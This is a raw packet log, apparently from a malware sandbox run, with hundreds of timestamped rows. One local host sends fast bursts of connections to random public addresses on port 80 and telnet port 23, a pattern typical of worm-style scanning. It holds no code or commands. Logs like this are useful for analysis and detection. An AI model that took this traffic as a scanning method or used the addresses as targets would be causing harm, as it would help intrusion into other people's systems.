Dec 3, 2024 22:11:46.597372055 CET	52286	23	192.168.2.23	217.32.184.17
Dec 3, 2024 22:11:46.717359066 CET	23	52286	217.32.184.17	192.168.2.23
Dec 3, 2024 22:11:46.717498064 CET	52286	23	192.168.2.23	217.32.184.17
Dec 3, 2024 22:11:46.823564053 CET	6883	80	192.168.2.23	89.237.234.81
Dec 3, 2024 22:11:46.823575020 CET	6883	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:46.823577881 CET	6883	80	192.168.2.23	51.134.184.47
Dec 3, 2024 22:11:46.823577881 CET	6883	80	192.168.2.23	133.23.65.66
Dec 3, 2024 22:11:46.823600054 CET	6883	80	192.168.2.23	168.141.43.142
Dec 3, 2024 22:11:46.823600054 CET	6883	80	192.168.2.23	165.71.235.9
Dec 3, 2024 22:11:46.823621035 CET	6883	80	192.168.2.23	204.35.166.113
Dec 3, 2024 22:11:46.823621035 CET	6883	80	192.168.2.23	222.183.121.253
Dec 3, 2024 22:11:46.823623896 CET	6883	80	192.168.2.23	121.123.242.60
Dec 3, 2024 22:11:46.823627949 CET	6883	80	192.168.2.23	51.132.116.166
Dec 3, 2024 22:11:46.823626995 CET	6883	80	192.168.2.23	189.113.25.114
Dec 3, 2024 22:11:46.823638916 CET	6883	80	192.168.2.23	67.109.205.61
Dec 3, 2024 22:11:46.823656082 CET	6883	80	192.168.2.23	90.128.45.194
Dec 3, 2024 22:11:46.823658943 CET	6883	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:46.823658943 CET	6883	80	192.168.2.23	175.207.62.8
Dec 3, 2024 22:11:46.823659897 CET	6883	80	192.168.2.23	157.10.232.130
Dec 3, 2024 22:11:46.823683023 CET	6883	80	192.168.2.23	177.109.45.183
Dec 3, 2024 22:11:46.823683023 CET	6883	80	192.168.2.23	42.54.179.203
Dec 3, 2024 22:11:46.823684931 CET	6883	80	192.168.2.23	91.168.168.177
Dec 3, 2024 22:11:46.823693991 CET	6883	80	192.168.2.23	114.255.133.213
Dec 3, 2024 22:11:46.823693991 CET	6883	80	192.168.2.23	52.200.155.160
Dec 3, 2024 22:11:46.823695898 CET	6883	80	192.168.2.23	39.26.141.128
Dec 3, 2024 22:11:46.823695898 CET	6883	80	192.168.2.23	220.40.166.42
Dec 3, 2024 22:11:46.823700905 CET	6883	80	192.168.2.23	115.148.141.242
Dec 3, 2024 22:11:46.823700905 CET	6883	80	192.168.2.23	25.56.170.39
Dec 3, 2024 22:11:46.823707104 CET	6883	80	192.168.2.23	100.44.128.127
Dec 3, 2024 22:11:46.823721886 CET	6883	80	192.168.2.23	192.122.106.149
Dec 3, 2024 22:11:46.823724985 CET	6883	80	192.168.2.23	178.168.125.118
Dec 3, 2024 22:11:46.823726892 CET	6883	80	192.168.2.23	120.47.138.87
Dec 3, 2024 22:11:46.823755980 CET	6883	80	192.168.2.23	166.46.184.48
Dec 3, 2024 22:11:46.823757887 CET	6883	80	192.168.2.23	62.248.199.225
Dec 3, 2024 22:11:46.823757887 CET	6883	80	192.168.2.23	211.248.1.241
Dec 3, 2024 22:11:46.823760986 CET	6883	80	192.168.2.23	112.17.46.206
Dec 3, 2024 22:11:46.823760986 CET	6883	80	192.168.2.23	60.191.15.52
Dec 3, 2024 22:11:46.823771000 CET	6883	80	192.168.2.23	13.227.133.150
Dec 3, 2024 22:11:46.823771954 CET	6883	80	192.168.2.23	2.111.72.125
Dec 3, 2024 22:11:46.823772907 CET	6883	80	192.168.2.23	9.180.125.203
Dec 3, 2024 22:11:46.823774099 CET	6883	80	192.168.2.23	151.117.200.130
Dec 3, 2024 22:11:46.823775053 CET	6883	80	192.168.2.23	216.84.178.95
Dec 3, 2024 22:11:46.823774099 CET	6883	80	192.168.2.23	69.224.65.58
Dec 3, 2024 22:11:46.823777914 CET	6883	80	192.168.2.23	87.124.13.206
Dec 3, 2024 22:11:46.823781967 CET	6883	80	192.168.2.23	172.13.154.229
Dec 3, 2024 22:11:46.823785067 CET	6883	80	192.168.2.23	69.165.68.106
Dec 3, 2024 22:11:46.823785067 CET	6883	80	192.168.2.23	195.46.36.83
Dec 3, 2024 22:11:46.823793888 CET	6883	80	192.168.2.23	59.234.43.201
Dec 3, 2024 22:11:46.823793888 CET	6883	80	192.168.2.23	68.131.78.173
Dec 3, 2024 22:11:46.823795080 CET	6883	80	192.168.2.23	44.96.228.159
Dec 3, 2024 22:11:46.823795080 CET	6883	80	192.168.2.23	13.209.9.211
Dec 3, 2024 22:11:46.823795080 CET	6883	80	192.168.2.23	182.114.118.150
Dec 3, 2024 22:11:46.823795080 CET	6883	80	192.168.2.23	91.179.4.197
Dec 3, 2024 22:11:46.823795080 CET	6883	80	192.168.2.23	208.247.27.129
Dec 3, 2024 22:11:46.823797941 CET	6883	80	192.168.2.23	52.233.176.82
Dec 3, 2024 22:11:46.823798895 CET	6883	80	192.168.2.23	46.218.150.180
Dec 3, 2024 22:11:46.823798895 CET	6883	80	192.168.2.23	151.234.254.75
Dec 3, 2024 22:11:46.823798895 CET	6883	80	192.168.2.23	152.61.133.39
Dec 3, 2024 22:11:46.823802948 CET	6883	80	192.168.2.23	140.106.83.149
Dec 3, 2024 22:11:46.823802948 CET	6883	80	192.168.2.23	138.253.99.143
Dec 3, 2024 22:11:46.823802948 CET	6883	80	192.168.2.23	57.234.210.229
Dec 3, 2024 22:11:46.823802948 CET	6883	80	192.168.2.23	113.202.243.27
Dec 3, 2024 22:11:46.823815107 CET	6883	80	192.168.2.23	101.242.71.7
Dec 3, 2024 22:11:46.823817968 CET	6883	80	192.168.2.23	198.13.188.248
Dec 3, 2024 22:11:46.823817968 CET	6883	80	192.168.2.23	77.64.164.173
Dec 3, 2024 22:11:46.823822975 CET	6883	80	192.168.2.23	2.92.50.4
Dec 3, 2024 22:11:46.823833942 CET	6883	80	192.168.2.23	60.49.222.42
Dec 3, 2024 22:11:46.823834896 CET	6883	80	192.168.2.23	39.59.187.16
Dec 3, 2024 22:11:46.823837042 CET	6883	80	192.168.2.23	154.225.38.211
Dec 3, 2024 22:11:46.823837042 CET	6883	80	192.168.2.23	142.240.108.181
Dec 3, 2024 22:11:46.823837042 CET	6883	80	192.168.2.23	85.110.37.33
Dec 3, 2024 22:11:46.823846102 CET	6883	80	192.168.2.23	105.54.105.179
Dec 3, 2024 22:11:46.823849916 CET	6883	80	192.168.2.23	60.56.151.12
Dec 3, 2024 22:11:46.823880911 CET	6883	80	192.168.2.23	202.100.188.235
Dec 3, 2024 22:11:46.823880911 CET	6883	80	192.168.2.23	166.42.180.20
Dec 3, 2024 22:11:46.823880911 CET	6883	80	192.168.2.23	76.223.5.111
Dec 3, 2024 22:11:46.823884010 CET	6883	80	192.168.2.23	59.120.141.13
Dec 3, 2024 22:11:46.823884964 CET	6883	80	192.168.2.23	74.9.215.189
Dec 3, 2024 22:11:46.823884964 CET	6883	80	192.168.2.23	176.210.10.91
Dec 3, 2024 22:11:46.823888063 CET	6883	80	192.168.2.23	158.67.72.205
Dec 3, 2024 22:11:46.823888063 CET	6883	80	192.168.2.23	131.103.226.32
Dec 3, 2024 22:11:46.823888063 CET	6883	80	192.168.2.23	171.135.218.140
Dec 3, 2024 22:11:46.823893070 CET	6883	80	192.168.2.23	40.167.194.59
Dec 3, 2024 22:11:46.823899984 CET	6883	80	192.168.2.23	190.241.184.238
Dec 3, 2024 22:11:46.823903084 CET	6883	80	192.168.2.23	85.128.249.207
Dec 3, 2024 22:11:46.823903084 CET	6883	80	192.168.2.23	108.38.155.36
Dec 3, 2024 22:11:46.823904037 CET	6883	80	192.168.2.23	204.129.200.199
Dec 3, 2024 22:11:46.823908091 CET	6883	80	192.168.2.23	132.4.28.198
Dec 3, 2024 22:11:46.823909044 CET	6883	80	192.168.2.23	45.223.169.88
Dec 3, 2024 22:11:46.823909044 CET	6883	80	192.168.2.23	42.96.38.26
Dec 3, 2024 22:11:46.823909044 CET	6883	80	192.168.2.23	2.245.126.87
Dec 3, 2024 22:11:46.823909044 CET	6883	80	192.168.2.23	18.148.109.108
Dec 3, 2024 22:11:46.823909044 CET	6883	80	192.168.2.23	18.88.62.135
Dec 3, 2024 22:11:46.823910952 CET	6883	80	192.168.2.23	190.172.134.250
Dec 3, 2024 22:11:46.823909044 CET	6883	80	192.168.2.23	132.7.153.102
Dec 3, 2024 22:11:46.823915005 CET	6883	80	192.168.2.23	49.7.222.101
Dec 3, 2024 22:11:46.823925972 CET	6883	80	192.168.2.23	222.71.141.128
Dec 3, 2024 22:11:46.823935032 CET	6883	80	192.168.2.23	48.183.191.109
Dec 3, 2024 22:11:46.823936939 CET	6883	80	192.168.2.23	79.155.125.159
Dec 3, 2024 22:11:46.823941946 CET	6883	80	192.168.2.23	108.9.180.153
Dec 3, 2024 22:11:46.823952913 CET	6883	80	192.168.2.23	129.208.105.163
Dec 3, 2024 22:11:46.823961020 CET	6883	80	192.168.2.23	23.10.71.75
Dec 3, 2024 22:11:46.823972940 CET	6883	80	192.168.2.23	77.36.222.182
Dec 3, 2024 22:11:46.823982000 CET	6883	80	192.168.2.23	164.127.211.90
Dec 3, 2024 22:11:46.823995113 CET	6883	80	192.168.2.23	148.175.73.163
Dec 3, 2024 22:11:46.824002028 CET	6883	80	192.168.2.23	113.208.180.115
Dec 3, 2024 22:11:46.824002028 CET	6883	80	192.168.2.23	187.165.166.100
Dec 3, 2024 22:11:46.824002028 CET	6883	80	192.168.2.23	41.85.241.233
Dec 3, 2024 22:11:46.824002028 CET	6883	80	192.168.2.23	196.252.125.162
Dec 3, 2024 22:11:46.824004889 CET	6883	80	192.168.2.23	143.109.153.83
Dec 3, 2024 22:11:46.824017048 CET	6883	80	192.168.2.23	193.234.117.236
Dec 3, 2024 22:11:46.824017048 CET	6883	80	192.168.2.23	180.9.213.106
Dec 3, 2024 22:11:46.824018955 CET	6883	80	192.168.2.23	86.146.245.110
Dec 3, 2024 22:11:46.824032068 CET	6883	80	192.168.2.23	112.137.209.27
Dec 3, 2024 22:11:46.824033022 CET	6883	80	192.168.2.23	197.241.98.56
Dec 3, 2024 22:11:46.824032068 CET	6883	80	192.168.2.23	49.98.101.149
Dec 3, 2024 22:11:46.824033022 CET	6883	80	192.168.2.23	174.186.126.21
Dec 3, 2024 22:11:46.824048996 CET	6883	80	192.168.2.23	208.87.178.45
Dec 3, 2024 22:11:46.824048996 CET	6883	80	192.168.2.23	123.195.51.10
Dec 3, 2024 22:11:46.824068069 CET	6883	80	192.168.2.23	197.169.80.118
Dec 3, 2024 22:11:46.824069023 CET	6883	80	192.168.2.23	184.225.105.193
Dec 3, 2024 22:11:46.824074030 CET	6883	80	192.168.2.23	170.125.6.181
Dec 3, 2024 22:11:46.824074030 CET	6883	80	192.168.2.23	79.163.76.154
Dec 3, 2024 22:11:46.824074984 CET	6883	80	192.168.2.23	72.186.216.199
Dec 3, 2024 22:11:46.824074030 CET	6883	80	192.168.2.23	207.184.113.5
Dec 3, 2024 22:11:46.824074030 CET	6883	80	192.168.2.23	203.71.255.202
Dec 3, 2024 22:11:46.824093103 CET	6883	80	192.168.2.23	190.101.231.214
Dec 3, 2024 22:11:46.824095011 CET	6883	80	192.168.2.23	203.217.66.85
Dec 3, 2024 22:11:46.824095011 CET	6883	80	192.168.2.23	105.177.189.199
Dec 3, 2024 22:11:46.824100018 CET	6883	80	192.168.2.23	167.103.96.198
Dec 3, 2024 22:11:46.824101925 CET	6883	80	192.168.2.23	91.139.169.40
Dec 3, 2024 22:11:46.824120045 CET	6883	80	192.168.2.23	154.180.141.33
Dec 3, 2024 22:11:46.824124098 CET	6883	80	192.168.2.23	138.112.47.36
Dec 3, 2024 22:11:46.824126959 CET	6883	80	192.168.2.23	221.108.160.120
Dec 3, 2024 22:11:46.824131966 CET	6883	80	192.168.2.23	125.98.94.178
Dec 3, 2024 22:11:46.824143887 CET	6883	80	192.168.2.23	220.36.6.212
Dec 3, 2024 22:11:46.824147940 CET	6883	80	192.168.2.23	157.223.237.91
Dec 3, 2024 22:11:46.824151039 CET	6883	80	192.168.2.23	134.130.118.172
Dec 3, 2024 22:11:46.824165106 CET	6883	80	192.168.2.23	175.81.252.53
Dec 3, 2024 22:11:46.824166059 CET	6883	80	192.168.2.23	134.237.96.33
Dec 3, 2024 22:11:46.824167013 CET	6883	80	192.168.2.23	20.167.201.93
Dec 3, 2024 22:11:46.824168921 CET	6883	80	192.168.2.23	104.23.197.147
Dec 3, 2024 22:11:46.824182987 CET	6883	80	192.168.2.23	113.204.103.147
Dec 3, 2024 22:11:46.824183941 CET	6883	80	192.168.2.23	222.138.10.184
Dec 3, 2024 22:11:46.824189901 CET	6883	80	192.168.2.23	156.34.188.90
Dec 3, 2024 22:11:46.824206114 CET	6883	80	192.168.2.23	146.63.234.31
Dec 3, 2024 22:11:46.824215889 CET	6883	80	192.168.2.23	72.128.196.164
Dec 3, 2024 22:11:46.824217081 CET	6883	80	192.168.2.23	54.151.84.96
Dec 3, 2024 22:11:46.824219942 CET	6883	80	192.168.2.23	9.63.21.135
Dec 3, 2024 22:11:46.824219942 CET	6883	80	192.168.2.23	149.119.81.191
Dec 3, 2024 22:11:46.824220896 CET	6883	80	192.168.2.23	79.69.87.163
Dec 3, 2024 22:11:46.824220896 CET	6883	80	192.168.2.23	74.213.33.12
Dec 3, 2024 22:11:46.824220896 CET	6883	80	192.168.2.23	54.14.58.187
Dec 3, 2024 22:11:46.824220896 CET	6883	80	192.168.2.23	169.17.145.8
Dec 3, 2024 22:11:46.824225903 CET	6883	80	192.168.2.23	58.68.175.69
Dec 3, 2024 22:11:46.824225903 CET	6883	80	192.168.2.23	220.93.162.100
Dec 3, 2024 22:11:46.824229956 CET	6883	80	192.168.2.23	220.1.150.184
Dec 3, 2024 22:11:46.824232101 CET	6883	80	192.168.2.23	146.194.248.88
Dec 3, 2024 22:11:46.824232101 CET	6883	80	192.168.2.23	110.37.122.58
Dec 3, 2024 22:11:46.824239969 CET	6883	80	192.168.2.23	53.68.70.211
Dec 3, 2024 22:11:46.824243069 CET	6883	80	192.168.2.23	2.129.68.155
Dec 3, 2024 22:11:46.824258089 CET	6883	80	192.168.2.23	201.37.146.78
Dec 3, 2024 22:11:46.824258089 CET	6883	80	192.168.2.23	174.60.24.69
Dec 3, 2024 22:11:46.824264050 CET	6883	80	192.168.2.23	92.254.29.126
Dec 3, 2024 22:11:46.824264050 CET	6883	80	192.168.2.23	151.189.217.95
Dec 3, 2024 22:11:46.824270010 CET	6883	80	192.168.2.23	159.101.87.158
Dec 3, 2024 22:11:46.824279070 CET	6883	80	192.168.2.23	107.73.51.215
Dec 3, 2024 22:11:46.824285030 CET	6883	80	192.168.2.23	124.114.174.177
Dec 3, 2024 22:11:46.824286938 CET	6883	80	192.168.2.23	187.48.99.26
Dec 3, 2024 22:11:46.824296951 CET	6883	80	192.168.2.23	41.220.75.200
Dec 3, 2024 22:11:46.824306965 CET	6883	80	192.168.2.23	68.213.13.135
Dec 3, 2024 22:11:46.824315071 CET	6883	80	192.168.2.23	88.227.238.211
Dec 3, 2024 22:11:46.824316025 CET	6883	80	192.168.2.23	63.145.125.52
Dec 3, 2024 22:11:46.824316025 CET	6883	80	192.168.2.23	182.230.159.170
Dec 3, 2024 22:11:46.824326038 CET	6883	80	192.168.2.23	90.255.138.138
Dec 3, 2024 22:11:46.824326038 CET	6883	80	192.168.2.23	90.202.155.144
Dec 3, 2024 22:11:46.824340105 CET	6883	80	192.168.2.23	174.23.166.63
Dec 3, 2024 22:11:46.824350119 CET	6883	80	192.168.2.23	77.250.217.47
Dec 3, 2024 22:11:46.824350119 CET	6883	80	192.168.2.23	201.245.83.95
Dec 3, 2024 22:11:46.824352980 CET	6883	80	192.168.2.23	101.254.177.169
Dec 3, 2024 22:11:46.824352980 CET	6883	80	192.168.2.23	116.43.215.131
Dec 3, 2024 22:11:46.824357033 CET	6883	80	192.168.2.23	1.74.29.129
Dec 3, 2024 22:11:46.824358940 CET	6883	80	192.168.2.23	20.53.74.171
Dec 3, 2024 22:11:46.824358940 CET	6883	80	192.168.2.23	147.246.178.23
Dec 3, 2024 22:11:46.824367046 CET	6883	80	192.168.2.23	87.245.32.157
Dec 3, 2024 22:11:46.824373960 CET	6883	80	192.168.2.23	113.70.91.198
Dec 3, 2024 22:11:46.824377060 CET	6883	80	192.168.2.23	191.24.149.76
Dec 3, 2024 22:11:46.824381113 CET	6883	80	192.168.2.23	2.227.196.80
Dec 3, 2024 22:11:46.824397087 CET	6883	80	192.168.2.23	182.77.108.233
Dec 3, 2024 22:11:46.824397087 CET	6883	80	192.168.2.23	111.5.167.21
Dec 3, 2024 22:11:46.824398994 CET	6883	80	192.168.2.23	68.182.221.84
Dec 3, 2024 22:11:46.824398994 CET	6883	80	192.168.2.23	48.163.69.122
Dec 3, 2024 22:11:46.824407101 CET	6883	80	192.168.2.23	201.247.46.166
Dec 3, 2024 22:11:46.824424028 CET	6883	80	192.168.2.23	65.166.58.91
Dec 3, 2024 22:11:46.824425936 CET	6883	80	192.168.2.23	220.24.81.146
Dec 3, 2024 22:11:46.824425936 CET	6883	80	192.168.2.23	137.146.209.8
Dec 3, 2024 22:11:46.824431896 CET	6883	80	192.168.2.23	92.162.46.123
Dec 3, 2024 22:11:46.824433088 CET	6883	80	192.168.2.23	166.245.238.214
Dec 3, 2024 22:11:46.824433088 CET	6883	80	192.168.2.23	199.94.6.128
Dec 3, 2024 22:11:46.824440956 CET	6883	80	192.168.2.23	72.101.81.222
Dec 3, 2024 22:11:46.824441910 CET	6883	80	192.168.2.23	115.214.30.167
Dec 3, 2024 22:11:46.824443102 CET	6883	80	192.168.2.23	139.60.127.106
Dec 3, 2024 22:11:46.824453115 CET	6883	80	192.168.2.23	118.194.34.43
Dec 3, 2024 22:11:46.824460030 CET	6883	80	192.168.2.23	160.136.249.159
Dec 3, 2024 22:11:46.824462891 CET	6883	80	192.168.2.23	119.204.158.255
Dec 3, 2024 22:11:46.824467897 CET	6883	80	192.168.2.23	96.237.76.117
Dec 3, 2024 22:11:46.824467897 CET	6883	80	192.168.2.23	146.17.251.107
Dec 3, 2024 22:11:46.824479103 CET	6883	80	192.168.2.23	18.110.248.52
Dec 3, 2024 22:11:46.824490070 CET	6883	80	192.168.2.23	89.6.112.37
Dec 3, 2024 22:11:46.824491024 CET	6883	80	192.168.2.23	19.38.139.153
Dec 3, 2024 22:11:46.824505091 CET	6883	80	192.168.2.23	182.113.186.177
Dec 3, 2024 22:11:46.824508905 CET	6883	80	192.168.2.23	213.31.198.199
Dec 3, 2024 22:11:46.824508905 CET	6883	80	192.168.2.23	90.14.50.226
Dec 3, 2024 22:11:46.824523926 CET	6883	80	192.168.2.23	191.149.94.203
Dec 3, 2024 22:11:46.824525118 CET	6883	80	192.168.2.23	4.52.79.131
Dec 3, 2024 22:11:46.824531078 CET	6883	80	192.168.2.23	101.162.76.8
Dec 3, 2024 22:11:46.824536085 CET	6883	80	192.168.2.23	142.78.157.238
Dec 3, 2024 22:11:46.824547052 CET	6883	80	192.168.2.23	145.36.170.228
Dec 3, 2024 22:11:46.824547052 CET	6883	80	192.168.2.23	86.199.194.174
Dec 3, 2024 22:11:46.824551105 CET	6883	80	192.168.2.23	103.209.182.240
Dec 3, 2024 22:11:46.824567080 CET	6883	80	192.168.2.23	47.103.1.91
Dec 3, 2024 22:11:46.824567080 CET	6883	80	192.168.2.23	133.74.55.195
Dec 3, 2024 22:11:46.824580908 CET	6883	80	192.168.2.23	150.86.81.127
Dec 3, 2024 22:11:46.824584007 CET	6883	80	192.168.2.23	223.125.92.55
Dec 3, 2024 22:11:46.824584961 CET	6883	80	192.168.2.23	103.207.0.126
Dec 3, 2024 22:11:46.824609041 CET	6883	80	192.168.2.23	34.57.44.21
Dec 3, 2024 22:11:46.824609041 CET	6883	80	192.168.2.23	62.156.206.3
Dec 3, 2024 22:11:46.824611902 CET	6883	80	192.168.2.23	74.105.79.34
Dec 3, 2024 22:11:46.824611902 CET	6883	80	192.168.2.23	204.212.63.108
Dec 3, 2024 22:11:46.824611902 CET	6883	80	192.168.2.23	91.151.23.35
Dec 3, 2024 22:11:46.824620008 CET	6883	80	192.168.2.23	41.122.251.150
Dec 3, 2024 22:11:46.824620008 CET	6883	80	192.168.2.23	133.167.159.121
Dec 3, 2024 22:11:46.824620962 CET	6883	80	192.168.2.23	118.159.79.87
Dec 3, 2024 22:11:46.824625969 CET	6883	80	192.168.2.23	133.171.133.187
Dec 3, 2024 22:11:46.824625969 CET	6883	80	192.168.2.23	179.198.100.207
Dec 3, 2024 22:11:46.824625969 CET	6883	80	192.168.2.23	141.25.233.80
Dec 3, 2024 22:11:46.824626923 CET	6883	80	192.168.2.23	221.40.1.107
Dec 3, 2024 22:11:46.824626923 CET	6883	80	192.168.2.23	197.194.100.142
Dec 3, 2024 22:11:46.824630022 CET	6883	80	192.168.2.23	142.254.126.4
Dec 3, 2024 22:11:46.824630022 CET	6883	80	192.168.2.23	152.24.46.113
Dec 3, 2024 22:11:46.824630022 CET	6883	80	192.168.2.23	140.48.113.51
Dec 3, 2024 22:11:46.824644089 CET	6883	80	192.168.2.23	168.131.39.124
Dec 3, 2024 22:11:46.824644089 CET	6883	80	192.168.2.23	195.92.152.50
Dec 3, 2024 22:11:46.824647903 CET	6883	80	192.168.2.23	4.222.248.245
Dec 3, 2024 22:11:46.824652910 CET	6883	80	192.168.2.23	94.253.5.137
Dec 3, 2024 22:11:46.824652910 CET	6883	80	192.168.2.23	39.218.150.30
Dec 3, 2024 22:11:46.824657917 CET	6883	80	192.168.2.23	14.228.150.219
Dec 3, 2024 22:11:46.824668884 CET	6883	80	192.168.2.23	118.240.61.166
Dec 3, 2024 22:11:46.824671984 CET	6883	80	192.168.2.23	66.54.61.79
Dec 3, 2024 22:11:46.824703932 CET	6883	80	192.168.2.23	171.144.228.71
Dec 3, 2024 22:11:46.824704885 CET	6883	80	192.168.2.23	191.221.87.15
Dec 3, 2024 22:11:46.824704885 CET	6883	80	192.168.2.23	180.123.119.50
Dec 3, 2024 22:11:46.824719906 CET	6883	80	192.168.2.23	62.59.10.29
Dec 3, 2024 22:11:46.824719906 CET	6883	80	192.168.2.23	179.237.91.147
Dec 3, 2024 22:11:46.824721098 CET	6883	80	192.168.2.23	69.111.8.13
Dec 3, 2024 22:11:46.824721098 CET	6883	80	192.168.2.23	219.228.13.164
Dec 3, 2024 22:11:46.824721098 CET	6883	80	192.168.2.23	208.17.57.121
Dec 3, 2024 22:11:46.824721098 CET	6883	80	192.168.2.23	78.203.245.254
Dec 3, 2024 22:11:46.824721098 CET	6883	80	192.168.2.23	102.68.100.98
Dec 3, 2024 22:11:46.824719906 CET	6883	80	192.168.2.23	218.189.236.131
Dec 3, 2024 22:11:46.824733973 CET	6883	80	192.168.2.23	210.1.7.29
Dec 3, 2024 22:11:46.824733973 CET	6883	80	192.168.2.23	176.70.16.210
Dec 3, 2024 22:11:46.824737072 CET	6883	80	192.168.2.23	81.37.179.193
Dec 3, 2024 22:11:46.824737072 CET	6883	80	192.168.2.23	205.101.5.193
Dec 3, 2024 22:11:46.824738979 CET	6883	80	192.168.2.23	124.23.174.240
Dec 3, 2024 22:11:46.824743986 CET	6883	80	192.168.2.23	190.99.84.1
Dec 3, 2024 22:11:46.824748039 CET	6883	80	192.168.2.23	120.52.16.196
Dec 3, 2024 22:11:46.824748039 CET	6883	80	192.168.2.23	154.149.192.96
Dec 3, 2024 22:11:46.824748039 CET	6883	80	192.168.2.23	128.0.167.224
Dec 3, 2024 22:11:46.824748039 CET	6883	80	192.168.2.23	116.130.22.225
Dec 3, 2024 22:11:46.824757099 CET	6883	80	192.168.2.23	1.67.245.128
Dec 3, 2024 22:11:46.824754000 CET	6883	80	192.168.2.23	124.228.70.209
Dec 3, 2024 22:11:46.824757099 CET	6883	80	192.168.2.23	109.2.252.27
Dec 3, 2024 22:11:46.824754000 CET	6883	80	192.168.2.23	198.141.10.168
Dec 3, 2024 22:11:46.824757099 CET	6883	80	192.168.2.23	72.104.108.205
Dec 3, 2024 22:11:46.824764013 CET	6883	80	192.168.2.23	123.197.194.155
Dec 3, 2024 22:11:46.824764013 CET	6883	80	192.168.2.23	52.153.13.232
Dec 3, 2024 22:11:46.824764967 CET	6883	80	192.168.2.23	102.245.189.154
Dec 3, 2024 22:11:46.824764967 CET	6883	80	192.168.2.23	58.204.153.177
Dec 3, 2024 22:11:46.824795008 CET	6883	80	192.168.2.23	17.165.49.201
Dec 3, 2024 22:11:46.824795008 CET	6883	80	192.168.2.23	67.174.217.223
Dec 3, 2024 22:11:46.824795961 CET	6883	80	192.168.2.23	77.220.108.232
Dec 3, 2024 22:11:46.824795008 CET	6883	80	192.168.2.23	132.102.62.64
Dec 3, 2024 22:11:46.824798107 CET	6883	80	192.168.2.23	48.127.24.158
Dec 3, 2024 22:11:46.824795961 CET	6883	80	192.168.2.23	130.218.139.68
Dec 3, 2024 22:11:46.824798107 CET	6883	80	192.168.2.23	137.127.54.21
Dec 3, 2024 22:11:46.824798107 CET	6883	80	192.168.2.23	112.186.61.138
Dec 3, 2024 22:11:46.824795961 CET	6883	80	192.168.2.23	64.30.176.117
Dec 3, 2024 22:11:46.824796915 CET	6883	80	192.168.2.23	222.254.210.7
Dec 3, 2024 22:11:46.824799061 CET	6883	80	192.168.2.23	104.172.71.171
Dec 3, 2024 22:11:46.824796915 CET	6883	80	192.168.2.23	108.137.184.100
Dec 3, 2024 22:11:46.824795008 CET	6883	80	192.168.2.23	42.26.128.142
Dec 3, 2024 22:11:46.824796915 CET	6883	80	192.168.2.23	80.105.122.167
Dec 3, 2024 22:11:46.824796915 CET	6883	80	192.168.2.23	208.239.3.149
Dec 3, 2024 22:11:46.824812889 CET	6883	80	192.168.2.23	218.0.203.233
Dec 3, 2024 22:11:46.824812889 CET	6883	80	192.168.2.23	176.142.209.93
Dec 3, 2024 22:11:46.824814081 CET	6883	80	192.168.2.23	98.160.137.128
Dec 3, 2024 22:11:46.824815989 CET	6883	80	192.168.2.23	70.128.19.59
Dec 3, 2024 22:11:46.824816942 CET	6883	80	192.168.2.23	90.161.152.52
Dec 3, 2024 22:11:46.824816942 CET	6883	80	192.168.2.23	114.11.130.102
Dec 3, 2024 22:11:46.824816942 CET	6883	80	192.168.2.23	17.29.230.5
Dec 3, 2024 22:11:46.824816942 CET	6883	80	192.168.2.23	89.237.112.9
Dec 3, 2024 22:11:46.824816942 CET	6883	80	192.168.2.23	48.223.159.33
Dec 3, 2024 22:11:46.824821949 CET	6883	80	192.168.2.23	46.226.188.192
Dec 3, 2024 22:11:46.824821949 CET	6883	80	192.168.2.23	213.231.181.27
Dec 3, 2024 22:11:46.824821949 CET	6883	80	192.168.2.23	102.159.76.29
Dec 3, 2024 22:11:46.824821949 CET	6883	80	192.168.2.23	97.142.144.224
Dec 3, 2024 22:11:46.824822903 CET	6883	80	192.168.2.23	36.133.4.176
Dec 3, 2024 22:11:46.824821949 CET	6883	80	192.168.2.23	95.156.235.191
Dec 3, 2024 22:11:46.824821949 CET	6883	80	192.168.2.23	23.164.9.47
Dec 3, 2024 22:11:46.824821949 CET	6883	80	192.168.2.23	59.146.89.159
Dec 3, 2024 22:11:46.824821949 CET	6883	80	192.168.2.23	147.192.248.117
Dec 3, 2024 22:11:46.824821949 CET	6883	80	192.168.2.23	125.141.207.84
Dec 3, 2024 22:11:46.824821949 CET	6883	80	192.168.2.23	209.119.30.90
Dec 3, 2024 22:11:46.824830055 CET	6883	80	192.168.2.23	43.152.213.121
Dec 3, 2024 22:11:46.824831963 CET	6883	80	192.168.2.23	198.243.29.109
Dec 3, 2024 22:11:46.824834108 CET	6883	80	192.168.2.23	20.80.244.56
Dec 3, 2024 22:11:46.824834108 CET	6883	80	192.168.2.23	138.187.108.152
Dec 3, 2024 22:11:46.824835062 CET	6883	80	192.168.2.23	38.159.244.11
Dec 3, 2024 22:11:46.824835062 CET	6883	80	192.168.2.23	65.136.160.163
Dec 3, 2024 22:11:46.824836016 CET	6883	80	192.168.2.23	1.251.204.221
Dec 3, 2024 22:11:46.824836969 CET	6883	80	192.168.2.23	135.169.114.118
Dec 3, 2024 22:11:46.824836969 CET	6883	80	192.168.2.23	117.231.43.192
Dec 3, 2024 22:11:46.831492901 CET	42850	23	192.168.2.23	220.145.170.24
Dec 3, 2024 22:11:46.831495047 CET	38326	23	192.168.2.23	155.110.114.69
Dec 3, 2024 22:11:46.831497908 CET	51982	23	192.168.2.23	160.120.105.195
Dec 3, 2024 22:11:46.831497908 CET	51754	23	192.168.2.23	199.178.64.112
Dec 3, 2024 22:11:46.831499100 CET	33342	23	192.168.2.23	93.28.129.1
Dec 3, 2024 22:11:46.831507921 CET	35572	23	192.168.2.23	132.81.152.183
Dec 3, 2024 22:11:46.831509113 CET	56508	23	192.168.2.23	85.202.90.234
Dec 3, 2024 22:11:46.831515074 CET	41580	23	192.168.2.23	101.83.204.153
Dec 3, 2024 22:11:46.831526041 CET	36950	23	192.168.2.23	12.64.189.89
Dec 3, 2024 22:11:46.831526041 CET	53274	23	192.168.2.23	149.193.86.187
Dec 3, 2024 22:11:46.831530094 CET	37490	23	192.168.2.23	114.197.223.164
Dec 3, 2024 22:11:46.831531048 CET	50812	23	192.168.2.23	74.248.103.174
Dec 3, 2024 22:11:46.831532001 CET	37738	23	192.168.2.23	124.60.106.111
Dec 3, 2024 22:11:46.831537962 CET	57566	23	192.168.2.23	4.101.233.117
Dec 3, 2024 22:11:46.831543922 CET	48486	23	192.168.2.23	197.34.60.180
Dec 3, 2024 22:11:46.831543922 CET	59902	23	192.168.2.23	180.98.97.51
Dec 3, 2024 22:11:46.831557989 CET	42792	23	192.168.2.23	31.217.43.158
